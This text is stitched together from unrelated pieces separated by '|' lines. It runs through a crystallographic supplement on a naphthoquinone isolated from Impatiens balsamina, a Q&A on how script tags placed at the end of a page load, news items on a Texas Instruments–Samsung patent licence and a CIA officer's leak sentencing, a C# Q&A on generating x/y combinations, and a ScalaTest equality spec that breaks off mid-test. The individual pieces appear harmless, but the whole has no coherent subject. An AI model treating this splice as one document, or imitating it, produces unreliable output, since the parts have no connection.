Crystal structure: contains datablocks global, I. DOI: [10.1107/S1600536811009883/sj5115sup1.cif](http://dx.doi.org/10.1107/S1600536811009883/sj5115sup1.cif)
Structure factors: contains datablocks I. DOI: [10.1107/S1600536811009883/sj5115Isup2.hkl](http://dx.doi.org/10.1107/S1600536811009883/sj5115Isup2.hkl)
Additional supplementary materials: [crystallographic information](http://scripts.iucr.org/cgi-bin/sendsupfiles?sj5115&file=sj5115sup0.html&mime=text/html); [3D view](http://scripts.iucr.org/cgi-bin/sendcif?sj5115sup1&Qmime=cif); [checkCIF report](http://scripts.iucr.org/cgi-bin/paper?sj5115&checkcif=yes)
Supplementary data and figures for this paper are available from the IUCr electronic archives (Reference: [SJ5115](http://scripts.iucr.org/cgi-bin/sendsup?sj5115)).
This work was supported by the Administration of Traditional Chinese Medicine of the Zhejiang Province of China (Project 2005Z001 and 2007 C A113).
Comment
=======
Modern chemical and pharmacological studies have identified flavonol and naphthoquinone derivatives, some of which have strong antimicrobial (Yang *et al.*, 2001) anti-anaphylaxis (Yoshimi *et al.*, 2003, Ishiguro *et al.*, 1994) and anti-inflammatory properties (Hisae & Kyoko, 2002). We have purified and identified an active component of the *Impatiens balsamina* plant (balsam, LIB) which was grown in our laboratory (Ding *et al.*, 2008) and authenticated by Professor Yao Zhensheng (Zhejiang Traditional Chinese Medicinal University). The molecular structure of the title compound is shown in Fig. 1. In the crystal, all bond lengths are within normal ranges (Allen *et al.*, 1987). The C1···C4,C9,C10 and C5···C10 rings of the naphthalene-1,4-dione unit are co-planar, maximum deviation 0.009 (1) Å. The O2 and C11 atoms of the methoxy substituent also lie close to the naphthalene plane with deviations of 0.0090 (2) Å and 0.047 (2) Å respectively.
Experimental {#experimental}
============
Dried leaves (200 g) of *Impatiens balsamina* were crushed, soaked with 55% alcohol (1500 ml) for 24 h and then reflux extracted for 40 min (1500 ml\\3). Extracts were filtered and vacuum evaporated. In addition, 200 g of dried leaves were directly reflux extracted using chloroform (3000 ml\\2). Next these extracts were filtered, combined, vacuum evaporated and the residue dried for further use. A portion of residue was re-chromatographed on silica gel using a petroleum ether-acetone (8:2) system and the isolated product was recrystallized from chloroform to yield the active component as light yellow crystals.
Refinement {#refinement}
==========
H atoms were positioned geometrically and refined using the riding-model approximation, with C---H = 0.93--0.97 Å, O---H = 0.82 Å, and *U*~iso~(H) = 1.2*U*~eq~(C) or *U*~iso~(H) = 1.5*U*~eq~(O).
Figures
=======
{#Fap1}
Crystal data {#tablewrapcrystaldatalong}
============
------------------------- ---------------------------------------
C~11~H~8~O~3~ *F*(000) = 392
*M~r~* = 188.17 *D*~x~ = 1.453 Mg m^−3^
Monoclinic, *P*2~1~/*c* Mo *K*α radiation, λ = 0.71073 Å
Hall symbol: -p 2ybc Cell parameters from 1421 reflections
*a* = 3.904 (3) Å θ = 3.0--26.7°
*b* = 7.662 (6) Å µ = 0.11 mm^−1^
*c* = 28.81 (2) Å *T* = 296 K
β = 93.562 (7)° Block, yellow
*V* = 860.1 (12) Å^3^ 0.20 × 0.20 × 0.10 mm
*Z* = 4
------------------------- ---------------------------------------
Data collection {#tablewrapdatacollectionlong}
===============
------------------------------------------------------ ----------------------------------------------
Enrfa--Nonius CAD-4 diffractometer 1458 reflections with *I* \> 2σ(*I*)
Radiation source: fine-focus sealed tube *R*~int~ = 0.032
graphite θ~max~ = 28.3°, θ~min~ = 2.8°
ω/2θ scans *h* = −5→5
Absorption correction: ψ scan (North *et al.*, 1968. *k* = −10→10
*T*~min~ = 0.979, *T*~max~ = 0.989 *l* = −38→36
7068 measured reflections 3 standard reflections every 200 reflections
2082 independent reflections intensity decay: 1%
------------------------------------------------------ ----------------------------------------------
Refinement {#tablewraprefinementdatalong}
==========
------------------------------------- -------------------------------------------------------------------------------------------------
Refinement on *F*^2^ Primary atom site location: structure-invariant direct methods
Least-squares matrix: full Secondary atom site location: difference Fourier map
*R*\[*F*^2^ \> 2σ(*F*^2^)\] = 0.056 Hydrogen site location: inferred from neighbouring sites
*wR*(*F*^2^) = 0.136 H-atom parameters constrained
*S* = 1.08 *w* = 1/\[σ^2^(*F*~o~^2^) + (0.0386*P*)^2^ + 0.5448*P*\] where *P* = (*F*~o~^2^ + 2*F*~c~^2^)/3
2082 reflections (Δ/σ)~max~ \< 0.001
128 parameters Δρ~max~ = 0.19 e Å^−3^
0 restraints Δρ~min~ = −0.25 e Å^−3^
------------------------------------- -------------------------------------------------------------------------------------------------
Special details {#specialdetails}
===============
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Geometry. All e.s.d.\'s (except the e.s.d. in the dihedral angle between two l.s. planes) are estimated using the full covariance matrix. The cell e.s.d.\'s are taken into account individually in the estimation of e.s.d.\'s in distances, angles and torsion angles; correlations between e.s.d.\'s in cell parameters are only used when they are defined by crystal symmetry. An approximate (isotropic) treatment of cell e.s.d.\'s is used for estimating e.s.d.\'s involving l.s. planes.
Refinement. Refinement of *F*^2^ against ALL reflections. The weighted *R*-factor *wR* and goodness of fit *S* are based on *F*^2^, conventional *R*-factors *R* are based on *F*, with *F* set to zero for negative *F*^2^. The threshold expression of *F*^2^ \> σ(*F*^2^) is used only for calculating *R*-factors(gt) *etc*. and is not relevant to the choice of reflections for refinement. *R*-factors based on *F*^2^ are statistically about twice as large as those based on *F*, and *R*- factors based on ALL data will be even larger.
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Fractional atomic coordinates and isotropic or equivalent isotropic displacement parameters (Å^2^) {#tablewrapcoords}
==================================================================================================
------ ------------ -------------- ------------- -------------------- --
*x* *y* *z* *U*~iso~\*/*U*~eq~
O2 0.5248 (4) 1.29754 (19) 0.09145 (5) 0.0460 (4)
C10 0.8859 (5) 0.7924 (3) 0.12534 (7) 0.0351 (5)
C1 0.6106 (5) 1.0740 (3) 0.14687 (7) 0.0389 (5)
C9 0.7444 (5) 0.8979 (3) 0.15900 (7) 0.0347 (4)
C2 0.6487 (5) 1.1357 (3) 0.09790 (7) 0.0369 (5)
O3 1.0374 (5) 0.7687 (2) 0.04711 (5) 0.0549 (5)
C5 1.0035 (6) 0.6270 (3) 0.13751 (8) 0.0423 (5)
H5 1.0976 0.5566 0.1153 0.051\*
O1 0.4735 (5) 1.1666 (2) 0.17443 (6) 0.0636 (5)
C3 0.7874 (5) 1.0345 (3) 0.06610 (7) 0.0393 (5)
H3 0.8047 1.0774 0.0361 0.047\*
C6 0.9824 (6) 0.5657 (3) 0.18238 (8) 0.0483 (6)
H6 1.0607 0.4542 0.1902 0.058\*
C4 0.9122 (5) 0.8589 (3) 0.07713 (7) 0.0384 (5)
C7 0.8444 (6) 0.6705 (3) 0.21567 (8) 0.0482 (6)
H7 0.8321 0.6295 0.2459 0.058\*
C8 0.7251 (6) 0.8354 (3) 0.20418 (7) 0.0426 (5)
H8 0.6317 0.9049 0.2266 0.051\*
C11 0.5484 (6) 1.3721 (3) 0.04595 (8) 0.0508 (6)
H11A 0.7849 1.3784 0.0388 0.076\*
H11B 0.4516 1.4874 0.0454 0.076\*
H11C 0.4243 1.3005 0.0233 0.076\*
------ ------------ -------------- ------------- -------------------- --
Atomic displacement parameters (Å^2^) {#tablewrapadps}
=====================================
----- ------------- ------------- ------------- -------------- -------------- -------------
*U*^11^ *U*^22^ *U*^33^ *U*^12^ *U*^13^ *U*^23^
O2 0.0583 (10) 0.0385 (8) 0.0422 (8) 0.0075 (7) 0.0122 (7) −0.0003 (7)
C10 0.0342 (11) 0.0366 (11) 0.0347 (10) −0.0011 (8) 0.0035 (8) −0.0051 (8)
C1 0.0426 (12) 0.0375 (11) 0.0379 (11) −0.0023 (9) 0.0124 (9) −0.0080 (9)
C9 0.0341 (10) 0.0352 (10) 0.0354 (10) −0.0059 (8) 0.0057 (8) −0.0060 (8)
C2 0.0383 (11) 0.0331 (11) 0.0395 (11) −0.0010 (8) 0.0053 (9) −0.0030 (8)
O3 0.0747 (12) 0.0500 (10) 0.0418 (9) 0.0127 (9) 0.0185 (8) −0.0096 (7)
C5 0.0440 (12) 0.0378 (11) 0.0453 (12) 0.0035 (9) 0.0037 (9) −0.0076 (9)
O1 0.0953 (14) 0.0488 (10) 0.0502 (10) 0.0166 (9) 0.0325 (9) −0.0034 (8)
C3 0.0444 (12) 0.0416 (11) 0.0324 (10) 0.0007 (9) 0.0070 (9) −0.0023 (9)
C6 0.0534 (14) 0.0383 (12) 0.0528 (14) 0.0013 (10) −0.0003 (11) 0.0024 (10)
C4 0.0372 (11) 0.0406 (12) 0.0379 (11) −0.0007 (9) 0.0076 (9) −0.0091 (9)
C7 0.0553 (14) 0.0495 (13) 0.0400 (12) −0.0014 (11) 0.0037 (10) 0.0053 (10)
C8 0.0473 (13) 0.0440 (12) 0.0375 (11) −0.0036 (10) 0.0102 (9) −0.0049 (9)
C11 0.0607 (15) 0.0482 (13) 0.0442 (13) 0.0094 (11) 0.0090 (11) 0.0078 (10)
----- ------------- ------------- ------------- -------------- -------------- -------------
Geometric parameters (Å, °) {#tablewrapgeomlong}
===========================
-------------------- -------------- -------------------- -------------
O2---C2 1.340 (3) C5---H5 0.9300
O2---C11 1.438 (3) C3---C4 1.459 (3)
C10---C5 1.386 (3) C3---H3 0.9300
C10---C9 1.402 (3) C6---C7 1.385 (3)
C10---C4 1.489 (3) C6---H6 0.9300
C1---O1 1.213 (2) C7---C8 1.380 (3)
C1---C9 1.481 (3) C7---H7 0.9300
C1---C2 1.504 (3) C8---H8 0.9300
C9---C8 1.394 (3) C11---H11A 0.9600
C2---C3 1.340 (3) C11---H11B 0.9600
O3---C4 1.232 (2) C11---H11C 0.9600
C5---C6 1.383 (3)
C2---O2---C11 116.82 (16) C5---C6---C7 119.9 (2)
C5---C10---C9 119.40 (19) C5---C6---H6 120.0
C5---C10---C4 120.52 (18) C7---C6---H6 120.0
C9---C10---C4 120.07 (19) O3---C4---C3 120.4 (2)
O1---C1---C9 122.80 (19) O3---C4---C10 121.1 (2)
O1---C1---C2 120.2 (2) C3---C4---C10 118.50 (17)
C9---C1---C2 116.96 (16) C8---C7---C6 120.3 (2)
C8---C9---C10 119.6 (2) C8---C7---H7 119.8
C8---C9---C1 119.66 (18) C6---C7---H7 119.8
C10---C9---C1 120.70 (18) C7---C8---C9 120.1 (2)
O2---C2---C3 126.77 (19) C7---C8---H8 119.9
O2---C2---C1 111.40 (16) C9---C8---H8 119.9
C3---C2---C1 121.83 (19) O2---C11---H11A 109.5
C6---C5---C10 120.6 (2) O2---C11---H11B 109.5
C6---C5---H5 119.7 H11A---C11---H11B 109.5
C10---C5---H5 119.7 O2---C11---H11C 109.5
C2---C3---C4 121.89 (19) H11A---C11---H11C 109.5
C2---C3---H3 119.1 H11B---C11---H11C 109.5
C4---C3---H3 119.1
C5---C10---C9---C8 0.2 (3) C4---C10---C5---C6 179.4 (2)
C4---C10---C9---C8 −179.15 (19) O2---C2---C3---C4 −179.6 (2)
C5---C10---C9---C1 −178.86 (19) C1---C2---C3---C4 −0.5 (3)
C4---C10---C9---C1 1.8 (3) C10---C5---C6---C7 −0.4 (3)
O1---C1---C9---C8 −2.2 (3) C2---C3---C4---O3 179.7 (2)
C2---C1---C9---C8 178.25 (19) C2---C3---C4---C10 −0.5 (3)
O1---C1---C9---C10 176.9 (2) C5---C10---C4---O3 0.2 (3)
C2---C1---C9---C10 −2.7 (3) C9---C10---C4---O3 179.6 (2)
C11---O2---C2---C3 −1.2 (3) C5---C10---C4---C3 −179.5 (2)
C11---O2---C2---C1 179.59 (18) C9---C10---C4---C3 −0.1 (3)
O1---C1---C2---O2 1.7 (3) C5---C6---C7---C8 0.6 (4)
C9---C1---C2---O2 −178.74 (17) C6---C7---C8---C9 −0.3 (3)
O1---C1---C2---C3 −177.6 (2) C10---C9---C8---C7 −0.1 (3)
C9---C1---C2---C3 2.0 (3) C1---C9---C8---C7 179.0 (2)
C9---C10---C5---C6 0.0 (3)
-------------------- -------------- -------------------- -------------
|
Q:
Two different ways of putting the script at the bottom - what are the differences?
What are the differences between the two solutions below ?
In particular, is there a good reason to favour 2 over 1. (note: Please assume the name of the script to load is known. The question is just about if there is value in creating a minimal script to load a script in the given situation )
1 - Script At The Bottom
<html>
<body>
...
...
<script src='myScript.js'></script>
</body>
</html>
2 - Script at the bottom loads external script
<html>
<body>
...
...
<script>
// minimal script to load another script
var script = document.createElement('script');
script.src = 'myScript.js'
document.body.appendChild(script);
</script>
</body>
</html>
A:
One important feature of the second one is that it allows the browser to finish parsing the page immediately, without waiting for the script to load. That's because the first example allows the script to use document.write to change the parsing state around the <script> tag, while the second one doesn't.
Now, we know that it's at the bottom of the page so that there isn't any important content left to parse, but this is still an important difference. It's not until parsing is done that the browser fires the popular DOMContentLoaded event. In method 1, the event fires after the script loads and executes. In method 2, the event fires before the script starts loading.
Here are some examples. In these demos, a DOMContentLoaded listener changes the background color to yellow. We try to load a script that takes 3 seconds to load.
http://jsfiddle.net/35ccs/
http://jsfiddle.net/VtwUV/
(edit: Maybe jsfiddle wasn't the best place to host these demos. It doesn't show the result until the slow-loading script loads. Be sure to click Run again once it loads, to see what happens.)
Pick the approach that's best for your application. If you know you need the script to run before DOMContentLoaded, go with method 1. Otherwise, method 2 is pretty good in most cases.
A:
1. Script at the bottom
When you use a "synchronous" script tag, it will block the browser from rendering the page until the script is loaded and executed. This method has the following effects:
Regardless of where you put the script tag, the browser cannot fire DOMContentLoaded until the script is downloaded and executed.
Placing such a script tag at the bottom only ensures that the browsers has rendered all content before getting blocked by the script.
2. Script at the bottom loads external script
When you inject a script tag using JavaScript, it will create an "asynchronous" script tag that does not block the browser. This method has the following effects:
Regardless of where you put the JavaScript code that generates the script tag, the browser executes it as soon as it is available without blocking the page. The DOMContentLoaded fires when it should; irrespective of whether the script has downloaded/executed.
The second approach has the following advantages:
The script that injects a script tag can be placed anywhere including document head.
The script will not block the rendering.
DOMContentLoaded event does not wait for the script.
The second approach has the following disadvantages:
You cannot use document.write in such scripts. If you do, such statements might wipe the document clean.
Asynchronous execution does not mean that browser has finished parsing the page. Keep the script executes as soon as it is available clause in mind.
Execution order is not guaranteed. Example: If you load "library.js" and "use-library.js" using injected script tags, it is possible for "use-library.js" to load and execute before "library.js".
Having said all that, there is another method for loading scripts, with three variations:
<script src="myScript.js" async></script>
<script src="myScript.js" defer></script>
<script src="myScript.js" async defer></script>
Regarding Steve Souders's work: he proposed 6 techniques for loading scripts without blocking. The async and defer attributes introduced in HTML5 cover the Script DOM Element and Script Defer techniques and their browser support is more than enough for you to worry about the other techniques.
A:
These two ways of initializing a script are basically the same, although theres no reason to use the second way if you can directly put in the result. However you can wrap the second example in a $(document).ready() method for example which would lead to sort of a lazy loading effect. This basically means that the page would load first and after the loading of the page is finished it would load the script. Or of course you can create a method which initializes a certain script this way. It's useful when you have a large script which is used only in some situations. This would prevent loading it unless you need it, thus decreasing the overall loading time.
|
Texas Instruments Inc. said Tuesday it set a licensing pact with Samsung Electronics Co. Ltd. of Korea that will generate royalty payments of more than $1 billion over 10 years.
In exchange, each side agreed to drop pending patent infringement lawsuits against each other.
The agreement replaces a previous five-year deal that expired at the end of 1995, the Dallas-based maker of computer chips, notebook computers and other electronics products said.
While the deal reassured some Wall Street analysts who were not already counting on additional earnings from the settlement, others noted the terms appeared to be far less generous than one with Samsung in 1995.
"Texas Instruments appears willing to take a lower number to get the suits dropped against them," Merrill Lynch analyst Thomas Kurlak said.
"Our assessment is that the agreement is at roughly 40 to 50 percent of the rate of the old agreement," Kurlak said of the royalty formula Samsung will use to pay Texas Instruments.
The new license, which runs until the end of 2005, covers a broad base of patents from both companies, including those for semiconductors, personal computers, consumer products and telecommunications equipment, Texas Instruments said.
"We are pleased with this agreement and the value it places on our patented technology," said Richard Agnich, a senior vice president and general counsel at Dallas-based Texas Instruments.
The company in 1985 started to more aggressively defend alleged unauthorised use of its technology in a bid to improve the value of its intellectual property within the semiconductor industry. In the intervening decade, the company has won billions of dollars in additional royalties, a spokesman said.
Texas Instruments said it expected Samsung to pay it about $105 million in the fourth quarter for "catch-up royalties" covering the first nine months of 1996 when the companies were battling in court.
Analysts said the "catch up" payments should substantially boost earnings for the quarter ending in December, but the gain will be offset by a charge for an undisclosed amount the company plans to take for an early retirmement programme.
Kurlak estimated Texas Instruments will see $35 million in additional quarterly royalties going forward as a result of the Samsung deal, but that is down from the roughly $85 million it received quarterly from Samsung at the end of 1995.
With this deal, Texas Instruments said it has almost completed its 1995 round of patent cross-license agreements with major semiconductor makers.
Earlier in the year, Texas Instruments reached 10-year deals with Fujitsu Ltd., Oki Electric Industry Co. Ltd. and Matsushita Electric Industrial Co. Ltd.
It said talks continue with NEC Corp. and several smaller producers.
The royalty payments will bolster Texas Instruments's net income, and allow it to focus on more profitable lines of business, analysts said.
Texas Instrument stock jumped $4.375 to $60.875 on the New York Stock Exchange.
|
Search in:
CIA officer is jailed for leaking details on torture
A FORMER CIA officer has been sentenced on Friday to 30 months' jail for disclosing classified information to journalists in a case that underscored the Obama administration's harsh crackdown on national security leaks.
John Kiriakou, a 14-year CIA veteran, pleaded guilty in October to identifying an undercover operative who was involved in the use of severe interrogation techniques, including waterboarding, under the George W. Bush administration.
While the Justice Department has said it will not prosecute CIA officials who approved or conducted those interrogations, Kiriakou becomes the sixth current or former official charged with revealing classified information since 2009.
His lawyers and civil rights advocates portrayed the 48-year-old former counterterrorism officer as a whistleblower who helped expose torture in secret prisons. The CIA and its defenders denied using torture, which is illegal, referring to enhanced interrogation techniques.
Advertisement
The US District Court Judge Leonie Brinkema said on Friday that Kiriakou had damaged the CIA. She called the sentence, the result of a plea arrangement with prosecutors, ''way too light''.
Before issuing the sentence, the judge asked Kiriakou if he had anything to say. When he declined, she said: ''Perhaps you have already spoken too much.''
Kiriakou helped lead the CIA team that captured Abu Zubaydah, believed to be a senior al-Qaeda member, in Pakistan in 2002. Kiriakou said in interviews that Abu Zubaydah and other detainees were waterboarded. |
Q:
Combination of two characters
I am giving input as int and according to that input I want combination of two characters,
FOR EXAMPLE
I am giving input as 2 and I have two characters x and y so I want combinations like
xx,yy,xy,yx
If Input is 3,I want
xxx,xyy,xxy,xyx,yxx,yyy,yxy.yyx
and so on,I have try with following code,
int input1 = 4;
Double totalpossibilities = Math.Pow(2, input1);
string[] PArray = new string[Convert.ToInt16(totalpossibilities)];
char[] chars = new char[] { 'x', 'y'};
for (int i = 0; i < totalpossibilities; i++)
{
string possibility = "" ;
for (int j = 0; j < input1; j++)
{
Random random = new Random();
int r = random.Next(chars.Length);
char randomChar = chars[r];
possibility = possibility + randomChar;
}
if (PArray.Contains(possibility))
{
i--;
}
else
PArray[i] = possibility;
}
But as you can see I am using random function So I takes too long to complete,Is there any different logic?
A:
Using a copy of the Cartesian Product extension method copied verbatim from here:
static IEnumerable<IEnumerable<T>> CartesianProduct<T>(this IEnumerable<IEnumerable<T>> sequences)
{
IEnumerable<IEnumerable<T>> emptyProduct = new[] { Enumerable.Empty<T>() };
return sequences.Aggregate(
emptyProduct,
(accumulator, sequence) =>
from accseq in accumulator
from item in sequence
select accseq.Concat(new[] {item}));
}
Then in your code you can have:
IEnumerable<char> possibleCharacters = "xy";//change to whatever
int numberOfDigits = 3;
var result = Enumerable.Repeat(possibleCharacters, numberOfDigits)
.CartesianProduct()
.Select(chars => new string(chars.ToArray()));
//display (or do whatever with) the results
foreach (var item in result)
{
Console.WriteLine(item);
}
A:
You could run a for loop from 0 to totalpossibilities.
Convert i to binary, for example, at iteration 20 this would result in "10100".
Pad the result to input1 characters, for example (for 8 places): 00010100
Then convert to a string and replace all zeroes with "x", all ones with "y".
int places = 4;
Double totalpossibilities = Math.Pow(2, places);
for (int i = 0; i < totalpossibilities; i++)
{
string CurrentNumberBinary = Convert.ToString(i, 2).PadLeft(places, '0');
CurrentNumberBinary = CurrentNumberBinary.Replace('0', 'x');
CurrentNumberBinary = CurrentNumberBinary.Replace('1', 'y');
Debug.WriteLine(CurrentNumberBinary);
}
|
/*
* Copyright 2001-2013 Artima, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.scalatest
import scala.collection.GenSeq
import scala.collection.GenMap
import scala.collection.GenSet
import scala.collection.GenIterable
import scala.collection.GenTraversable
import scala.collection.GenTraversableOnce
import org.scalactic.TripleEquals
import org.scalactic.TypeCheckedTripleEquals
import SharedHelpers._
import exceptions.TestFailedException
import org.scalatest.funspec.AnyFunSpec
import org.scalatest.matchers.should.Matchers._
class ShouldCollectedTripleEqualsSpec extends AnyFunSpec with NonImplicitAssertions {
case class Super(size: Int)
class Sub(sz: Int) extends Super(sz)
val super1: Super = new Super(1)
val sub1: Sub = new Sub(1)
val super2: Super = new Super(2)
val sub2: Sub = new Sub(2)
val nullSuper: Super = null
describe("the custom equality should === (operator") {
describe("with TripleEquals") {
it("should compare anything with anything") {
new TripleEquals {
all (List(1, 1, 1)) should === (1)
intercept[TestFailedException] { all (List(1, 1, 1)) should !== (1) }
all (List(1, 1, 1)) should === (1L)
intercept[TestFailedException] { all (List(1, 1, 1)) should !== (1L) }
all (List(1L, 1L, 1L)) should === (1)
intercept[TestFailedException] { all (List(1L, 1L, 1L)) should !== (1) }
all (List("1", "1", "1")) should !== (1)
intercept[TestFailedException] { all (List("1", "1", "1")) should === (1) }
all (List(1, 1, 1)) should !== ("1")
intercept[TestFailedException] { all (List(1, 1, 1)) should === ("1") }
all (List(super1, super1, super1)) should !== (super2)
all (List(super1, super1, super1)) should !== (sub2)
all (List(sub2, sub2, sub2)) should !== (super1)
all (List(super1, super1, super1)) should === (super1)
all (List(super1, super1, super1)) should === (sub1)
all (List(sub1, sub1, sub1)) should === (super1)
val caught1 = intercept[TestFailedException] { all (List(super1, super1, super1)) should === (null) }
caught1.message should be (Some("'all' inspection failed, because: \n" +
" at index 0, Super(1) did not equal null (ShouldCollectedTripleEqualsSpec.scala:" + (thisLineNumber - 2) + ") \n" +
"in List(Super(1), Super(1), Super(1))"))
all (List(super1, super1, super1)) should !== (null)
all (List(nullSuper, nullSuper, nullSuper)) should === (null)
val caught2 = intercept[TestFailedException] { all (List(nullSuper, nullSuper, nullSuper)) should !== (null) }
caught2.message should be (Some("'all' inspection failed, because: \n" +
" at index 0, null equaled null (ShouldCollectedTripleEqualsSpec.scala:" + (thisLineNumber - 2) + ") \n" +
"in List(null, null, null)"))
val caught3 = intercept[TestFailedException] { all (List(nullSuper, nullSuper, nullSuper)) should === (super1) }
caught3.message should be (Some("'all' inspection failed, because: \n" +
" at index 0, null did not equal Super(1) (ShouldCollectedTripleEqualsSpec.scala:" + (thisLineNumber - 2) + ") \n" +
"in List(null, null, null)"))
all (List(nullSuper, nullSuper, nullSuper)) should !== (super1)
all (List(Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2))) should === (Map("I" -> 1, "II" -> 2))
all (List(Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2))) should !== (Map("1" -> 1, "2" -> 2))
intercept[TestFailedException] { all (List(Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2))) should === (7) }
all (List(Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2))) should !== (7)
all (List(Set(1, 2, 3), Set(1, 2, 3), Set(1, 2, 3))) should === (Set(1, 2, 3))
all (List(Set(1, 2, 3), Set(1, 2, 3), Set(1, 2, 3))) should !== (Set(2, 3, 4))
intercept[TestFailedException] { all (List(Set(1, 2, 3), Set(1, 2, 3), Set(1, 2, 3))) should === (7) }
all (List(Set(1, 2, 3), Set(1, 2, 3), Set(1, 2, 3))) should !== (7)
all (List(List(1, 2, 3), List(1, 2, 3), List(1, 2, 3))) should === (List(1, 2, 3))
all (List(List(1, 2, 3), List(1, 2, 3), List(1, 2, 3))) should !== (List(2, 3, 4))
all (List(Array(1, 2, 3), Array(1, 2, 3), Array(1, 2, 3))) should === (Array(1, 2, 3))
all (List(Array(1, 2, 3), Array(1, 2, 3), Array(1, 2, 3))) should !== (Array(2, 3, 4))
all (List(Seq(1, 2, 3), Seq(1, 2, 3), Seq(1, 2, 3))) should === (Array(1, 2, 3))
all (List(Seq(1, 2, 3), Seq(1, 2, 3), Seq(1, 2, 3))) should !== (Array(2, 3, 4))
all (List(Array(1, 2, 3), Array(1, 2, 3), Array(1, 2, 3))) should === (Seq(1, 2, 3))
all (List(Array(1, 2, 3), Array(1, 2, 3), Array(1, 2, 3))) should !== (Seq(2, 3, 4))
all (List((), (),())) should === (())
all (List((), (),())) should !== (7)
}
}
it("should be overridable with TypeCheckedTripleEquals locally when TripleEquals imported") {
object O extends TripleEquals
new TypeCheckedTripleEquals {
class Fruit { override def equals(o: Any) = o.isInstanceOf[Fruit] }
trait Crunchy
class Apple extends Fruit with Crunchy
val fr: Fruit = new Apple
val cr: Crunchy = new Apple
val ap: Apple = new Apple
all (List(1, 1, 1)) should === (1)
intercept[TestFailedException] { all (List(1, 1, 1)) should !== (1) }
all (List(ap, ap, ap)) should === (fr)
all (List(fr, fr, fr)) should === (ap)
all (List(ap, ap, ap)) should === (cr)
all (List(cr, cr, cr)) should === (ap)
all (List(super1, super1, super1)) should !== (super2)
all (List(super1, super1, super1)) should !== (sub2)
all (List(sub2, sub2, sub2)) should !== (super1)
all (List(super1, super1, super1)) should === (super1)
all (List(super1, super1, super1)) should === (sub1)
all (List(sub1, sub1, sub1)) should === (super1)
// The rest should not compile
// all (List(1, 1, 1)) should === (1L)
// all (List(1L, 1L, 1L)) should === (1)
// all (List(1, 1, 1)) should !== (1L)
// all (List(1L, 1L, 1L)) should !== (1)
// all (List("1", "1", "1")) should === (1)
// all (List(1, 1, 1)) should === ("1")
// all (List("1", "1", "1")) should !== (1)
// all (List(1, 1, 1)) should !== ("1")
// all (List(fr, fr, fr)) should === (cr)
// all (List(cr, cr, cr)) should === (fr)
}
}
it("should be overridable with TypeCheckedTripleEquals locally when TripleEquals mixed in") {
object O extends TripleEquals {
new TypeCheckedTripleEquals {
class Fruit { override def equals(o: Any) = o.isInstanceOf[Fruit] }
trait Crunchy
class Apple extends Fruit with Crunchy
val fr: Fruit = new Apple
val cr: Crunchy = new Apple
val ap: Apple = new Apple
all (List(1, 1, 1)) should === (1)
intercept[TestFailedException] { all (List(1, 1, 1)) should !== (1) }
all (List(ap, ap, ap)) should === (fr)
all (List(fr, fr, fr)) should === (ap)
all (List(ap, ap, ap)) should === (cr)
all (List(cr, cr, cr)) should === (ap)
all (List(super1, super1, super1)) should !== (super2)
all (List(super1, super1, super1)) should !== (sub2)
all (List(sub2, sub2, sub2)) should !== (super1)
all (List(super1, super1, super1)) should === (super1)
all (List(super1, super1, super1)) should === (sub1)
all (List(sub1, sub1, sub1)) should === (super1)
// The rest should not compile
// all (List(1, 1, 1)) should === (1L)
// all (List(1L, 1L, 1L)) should === (1)
// all (List(1, 1, 1)) should !== (1L)
// all (List(1L, 1L, 1L)) should !== (1)
// all (List("1", "1", "1")) should === (1)
// all (List(1, 1, 1)) should === ("1")
// all (List("1", "1", "1")) should !== (1)
// all (List(1, 1, 1)) should !== ("1")
// all (List(fr, fr, fr)) should === (cr)
// all (List(cr, cr, cr)) should === (fr)
}
}
}
}
describe("with TypeCheckedTripleEquals") {
it("should compare supertypes with subtypes on either side") {
new TypeCheckedTripleEquals {
class Fruit { override def equals(o: Any) = o.isInstanceOf[Fruit] }
trait Crunchy
class Apple extends Fruit with Crunchy
val fr: Fruit = new Apple
val cr: Crunchy = new Apple
val ap: Apple = new Apple
all (List(1, 1, 1)) should === (1)
intercept[TestFailedException] { all (List(1, 1, 1)) should !== (1) }
all (List(ap, ap, ap)) should === (fr)
all (List(fr, fr, fr)) should === (ap)
all (List(ap, ap, ap)) should === (cr)
all (List(cr, cr, cr)) should === (ap)
all (List(super1, super1, super1)) should !== (super2)
all (List(super1, super1, super1)) should !== (sub2)
all (List(sub2, sub2, sub2)) should !== (super1)
all (List(super1, super1, super1)) should === (super1)
all (List(super1, super1, super1)) should === (sub1)
all (List(sub1, sub1, sub1)) should === (super1)
val caught1 = intercept[TestFailedException] { all (List(super1, super1, super1)) should === (null) }
caught1.message should be (Some("'all' inspection failed, because: \n" +
" at index 0, Super(1) did not equal null (ShouldCollectedTripleEqualsSpec.scala:" + (thisLineNumber - 2) + ") \n" +
"in List(Super(1), Super(1), Super(1))"))
all (List(super1, super1, super1)) should !== (null)
all (List(nullSuper, nullSuper, nullSuper)) should === (null)
val caught2 = intercept[TestFailedException] { all (List(nullSuper, nullSuper, nullSuper)) should !== (null) }
caught2.message should be (Some("'all' inspection failed, because: \n" +
" at index 0, null equaled null (ShouldCollectedTripleEqualsSpec.scala:" + (thisLineNumber - 2) + ") \n" +
"in List(null, null, null)"))
val caught3 = intercept[TestFailedException] { all (List(nullSuper, nullSuper, nullSuper)) should === (super1) }
caught3.message should be (Some("'all' inspection failed, because: \n" +
" at index 0, null did not equal Super(1) (ShouldCollectedTripleEqualsSpec.scala:" + (thisLineNumber - 2) + ") \n" +
"in List(null, null, null)"))
all (List(nullSuper, nullSuper, nullSuper)) should !== (super1)
